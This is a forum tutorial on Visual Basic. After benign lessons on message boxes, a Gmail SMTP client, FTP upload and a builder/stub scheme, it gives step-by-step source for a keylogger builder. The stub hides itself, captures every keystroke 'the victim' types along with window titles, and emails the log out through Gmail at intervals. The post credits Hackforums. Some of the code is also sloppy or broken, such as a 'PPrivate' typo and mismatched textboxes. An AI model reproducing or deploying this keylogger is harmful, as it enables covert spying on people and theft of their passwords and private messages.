Jump to content

[Guide]Learn Visual Basic now.(FTP, SMTP, Keylogger, Builder & More!)


Recommended Posts

Posted

                                        Learn Visual Basic now!

 

Hello everyone. This is my first tutorial about Visual Basic. I made it for everyone who wanna know more about Visual Basic and

 

how does it works. So lets start...

 

We gonna learn about:

 

1."Hello, world" - beginning

2.  Make SMTP client

3.  Upload files on FTP

4.  Advance Builder

5.  Basic keylogger

"Hello, world" - beginning

 

STEP 1:

Open Visual Basic:

 

Click File > Click then New Project > Choose Windows Application > Choose name > Click Ok

 

From the Toolbox drag:

 

Button1 - This will show message

 

Now lets move to source code part, double click Button1 and write:

 

MsgBox("Hello, world")

 

 

How does this works?

 

This just show Message Box on our screen with text Hello, world:

MsgBox("Hello, world")

 

Make SMTP client

 

STEP 1:

Open Visual Basic:

 

Click File > Click then New Project > Choose Windows Application > Choose name > Click Ok

 

From the Toolbox drag:

 

Button1 - Send mail

Textbox1 - Username

Textbox2 - Password

 

Example:

103elnn.png

 

Now lets start with coding part, on top of code write:

 

Imports System.Net.Mail

 

After that double click Button1 and write following source code:

 

Dim Mail As New MailMessage
        Mail.Subject = "This is subject"
        Mail.To.Add(TextBox1.Text)
        Mail.From = New MailAddress(TextBox1.Text)
        Mail.Body = "This is message body/ or text"
        Dim SMTP As New SmtpClient("smtp.gmail.com")
        SMTP.EnableSsl = True
        SMTP.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
        SMTP.Port = 587
        SMTP.Send(Mail)

 

How does this works?

 

This is our import, its important to be there:

Imports System.Net.Mail

 

This is declaration of our message:

Dim Mail As New MailMessage

 

This is subject of our mail:

  Mail.Subject = "This is subject"

 

This is mail address, it send from it:

Mail.To.Add(TextBox1.Text)

 

This show who sented it, its important to address be right and valid:

Mail.From = New MailAddress(TextBox1.Text)

 

This is body or message of our mail:

Mail.Body = "This is message body/ or text"

 

This is again declaration, but this time for SMTP server, and this smtp.gmail.com is SMTP

 

address of google:

Dim SMTP As New SmtpClient("smtp.gmail.com")

 

This enable to set SMTP:

SMTP.EnableSsl = True

 

Here you set your GMail username and password, you write them in textboxes and its important to contain

 

@gmail.com and to be valid:

SMTP.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)

 

This is google's port:

SMTP.Port = 587

 

This function say to our client to send mail:

SMTP.Send(Mail)

 

Upload files on FTP

 

STEP 1:

Open Visual Basic:

 

Click File > Click then New Project > Choose Windows Application > Choose name > Click Ok

 

From Toolbox drag:

 

Textbox1 - FTP Username

Textbox2 - FTP Password

Button1 -  Send Filre/Upload

Label1 - Text: Username:

Label2 - Text: Password:

 

Now lets start with coding:

 

Double click Button1 and write following code:

 

 Dim request As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("ftp://ftp.drivehq.com/test.txt"), 

System.Net.FtpWebRequest)
        request.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
        request.Method = System.Net.WebRequestMethods.Ftp.UploadFile

        Dim File() As Byte = System.IO.File.ReadAllBytes("C:\Temp\test.txt")


        Dim strZ As System.IO.Stream = request.GetRequestStream()
        strZ.Write(File, 0, File.Length)
        strZ.Close()
        strZ.Dispose()

 

Example:

 

vdh0uq.png

 

How does this works?

 

This is just declaration, you make here request to connect to their server and start process:

   Dim request As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("ftp://ftp.drivehq.com/test.txt"), 

System.Net.FtpWebRequest)

 

Here you are still connecting. You write your username and password in textbox's so it can connect, make sure its

 

valid account and in this example we will use drivehq as FTP:

request.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)

 

Here you start with uploading file:

     request.Method = System.Net.WebRequestMethods.Ftp.UploadFile

 

This is now again declaration but now you make it for file temp called test.txt:

Dim File() As Byte = System.IO.File.ReadAllBytes("C:\Temp\test.txt")

This 3 lines are finaly proces, it ending and uploaded file, after that it close connection:

Dim strZ As System.IO.Stream = request.GetRequestStream()
        strZ.Write(File, 0, File.Length)
        strZ.Close()
        strZ.Dispose()

 

Advance Builder

 

STEP 1:

 

Open Visual Basic .NET Click File > New Project > Windows Application > Name it Builder > Ok

 

button

 

From the Toolbox bar drag:

 

CheckBox1 - Checking did we checked this, it will be showed in builded file.

TextBox1 - Some text

Button1 - Build button

 

On top of our code write:

 

Imports System.IO

 

Under the Public Class Form1 write:

 

   Dim stub, text1 As String
    Dim cb As Boolean
    Const Filesplit = "@BooleanBuilder@"

 

Double Click Button1 and write:

 

text1 = TextBox1.Text
        'Open the Stub
        FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
        stub = Space(LOF(1))

        'Get the file
        FileGet(1, stub)

        'Close the file
        FileClose(1)

        If CheckBox1.Checked = True Then
            cb = True
        Else : cb = False
        End If

        'If the builded file have the same name, then replace with new builded one.
        If File.Exists("Boolean.exe") Then
            My.Computer.FileSystem.DeleteFile("Boolean.exe")
        End If
        'Open the file
    FileOpen(1, Application.StartupPath & "\Boolean.exe.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)

        'Put the informations
        FilePut(1, stub & Filesplit & text1 & Filesplit & cb & Filesplit)

        'Close the file
        FileClose(1)

        MsgBox("The boolean builder did the job, I guess this will help you!", MsgBoxStyle.Information, "Boolean Builder")

 

Explanation:

mhu69i.png

 

How does this works?

 

 

This is our import:

Imports System.IO

 

This is string for TextBox1 and Stub, which we use to tell program to add the Builder

 

Textbox1.Text in Stub so it build it:

Dim stub, text1 As String

 

This is Boolean of our builder:

Dim cb As Boolean

 

This is file split which will split our builders informations with stub:

Const Filesplit = "@BooleanBuilder@"

This open stub and then the process start's:

FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)

 

This get the stub:

  FileGet(1, stub)

This close the stub:

 FileClose(1)

This check is it our checkbox checked and add it to our stub so we can see did we checked it:

  If CheckBox1.Checked = True Then
            cb = True
        Else : cb = False
        End If

 

This check is it file already builded and if it is then it replace with new, builded one:

If File.Exists("Boolean.exe") Then
            My.Computer.FileSystem.DeleteFile("Boolean.exe")
        End If

 

This build the file:

 FileOpen(1, Application.StartupPath & "\Boolean.exe.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)

 

This put the split's in the files:

FilePut(1, stub & Filesplit & text1 & Filesplit & cb & Filesplit)

 

And finnaly this close the file:

 FileClose(1)

 

This show the user that, the file is builded via messagebox:

MsgBox("The boolean builder did the 

job, I guess this will help you!", MsgBoxStyle.Information, "Boolean Builder")

 

STEP 2:

 

Open Visual Basic .NET Click File > New Project > Windows Application > Name it Stub Ok

 

button

 

From the Toolbox bar drag:

 

Label1 - This is just some text with question "Did you checked me?"

Label2 - This is answer and put text for now "None" it will be changed when we build so dont worry

 

Textbox1 - This just added to explane you how to add text too.

 

Add this under Public Class Form1:

 

Dim options(), text1, cb As String
    Const Filesplit = "@BooleanBuilder@"

Now double click the Form1 and write code:

 

FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)

        text1 = Space(LOF(1))
        cb = Space(LOF(1))

        'FileGet
        FileGet(1, text1) 'options(1) - Text
        FileGet(1, cb) 'options(2) - Label

        FileClose(1)

        options = Split(text1, FileSplit)
        FileClose(1)
        TextBox1.Text = options(1)
        If options(2) = False Then
            Label2.Text = "No"
        Else : Label2.Text = "Yes"
        End If

 

Explanation:

27y1wns.png

 

How does this works?

 

This is our stirng with options and text1 is text from the Builder:

Dim options(), text1, cb As String

 

This one opens the file:

FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)

 

This one gets the informations from Builder and set options() which we use in our stub:

 'FileGet
        FileGet(1, text1) 'options(1) - Text
        FileGet(1, cb) 'options(2) - Label

 

This close the file:

FileClose(1)

 

This split the Textbox1:

 options = Split(text1, FileSplit)

 

This close the file:

FileClose(1)

 

This says to textbox1 that the text is from options(1) which is marked as text1 string:

 TextBox1.Text = options(1)

 

This checks did we checked the cb from builder, this is connection of the builder and stub which must be 100%

 

same:

If options(2) = False Then
            Label2.Text = "No"
        Else : Label2.Text = "Yes"
        End If

 

 

 

Run Visual Basic:

  • In Tab click File > New Project
  • Windows Application > "Keylogger Builder" > Click Ok

 

STEP 1:

 

 

From the Toolbox drag:

 

  • TextBox1 - The GMail Username textbox
  • Textbox2 - The Gmail Password textbox
  • Button1 - The Build button, Change text to: Build
  • Label1 - Change text to: Gmail Username
  • Label2 - Change text to: Gmail Password

Explanation:

4qfm1u.png

 

STEP 2:

 

Now when you add all these, on top of code add:

 

Imports System.IO

 

Now under Public Class Form1 add following code, that would be strings:

 

 Dim stub, text1, text2 As String
    Const FileSplit = "@keylogger@"

 

Now when you done with that, just simply double click Button1 and add:

 

        text1 = TextBox1.Text
        text2 = TextBox2.Text
        FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
        stub = Space(LOF(1))
        FileGet(1, stub)
        FileClose(1)
        If File.Exists("Server.exe") Then
            My.Computer.FileSystem.DeleteFile("Server.exe")
        End If
        FileOpen(1, Application.StartupPath & "\Server.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
        FilePut(1, stub & FileSplit & text1 & FileSplit & text2)
        FileClose(1)

 

Now you got your builder and now lets move to Stub.

 

STEP 3:

 

  • Run Visual Basic
  • In Tab click File > New Project
  • Windows Application > "Stub" > Click Ok

 

STEP 4:

 

Change the following from the Properties of Form1:

 

FormBorderStyle = FixedToolWindow

StartPosition = CenterScreen

Text = (no text)

WindowsState = Minimized

 

Explanation:

168wosx.png

 

From the Toolbox add:

 

 


  •  
  • Textbox1 - KEY LOGGER(follow everything what victim write)
  • Textbox2 - GMail Username
  • Textbox3 - GMail Password
  • Timer1 - Upload Interval
  • Timer2 - Get name of window where keylogger get
    keys(userful)
  • Timer3 - Get Keys

 

Explanation:

ndkfgn.png

 

 

Timer1 Interval = 900000

Timer2 Interval = 100

Timer3 Interval = 100

 

STEP 5:

 

Now when you add all these, on top of code add:

 

Imports System.IO
Imports System.Net.Mail
Imports Microsoft.Win32

 

Now under Public Class Form1 add following code, that would be strings:

 

Dim options(), text1, text2 As String
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim result As Integer
    Const FileSplit = "@keylogger@"

 

Now double click Timer1 and write following code:

 

 Dim MailSetup As New MailMessage
        MailSetup.Subject = My.Computer.Name & ":"
        MailSetup.To.Add(TextBox1.Text)
        MailSetup.From = New MailAddress(TextBox1.Text)
        MailSetup.Body = TextBox1.Text
        Dim SMTP As New SmtpClient("smtp.gmail.com")
        SMTP.Port = 587
        SMTP.EnableSsl = True
        SMTP.Credentials = New Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
        SMTP.Send(MailSetup)
        TextBox3.Clear()

 

And add this as Function to source code:

 

 

     PPrivate Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
    Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As 

String, ByVal cch As Int32) As Int32
    Dim strin As String = Nothing

    Private Function GetActiveWindowTitle() As String
        Dim MyStr As String
        MyStr = New String(Chr(0), 100)
        GetWindowText(GetForegroundWindow, MyStr, 100)
        MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
        Return MyStr
    End Function

 

Now double click Timer2 to get names of active windows:

 

 If strin <> GetActiveWindowTitle() Then
            TextBox1.Text = TextBox1.Text + vbNewLine & "[" & GetActiveWindowTitle() & "]:" + vbNewLine
            strin = GetActiveWindowTitle()
        End If

 

Now double click Form1 and write following code:

 

FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
        text1 = Space(LOF(1))
        text2 = Space(LOF(1))
        FileGet(1, text1)
        FileGet(1, text2)
        FileClose(1)
        options = Split(text1, FileSplit)
        TextBox2.Text = options(1)
        TextBox3.Text = options(2)
        Timer1.Start()
        Timer2.Start()
        

 

Now double click Timer3 and past code:

 

For i = 1 To 255
            result = 0
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                TextBox1.Text = TextBox1.Text + Chr(i)
            End If
        Next i

 

That's all,i hope i helped you.

Ps: Credits : Hackforums.

Regards,

Poon

Posted

Taken from hackforums or hackhound?

Next time post credits to their owners or -1 karma.

 

If you have the source, please let us know :D

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...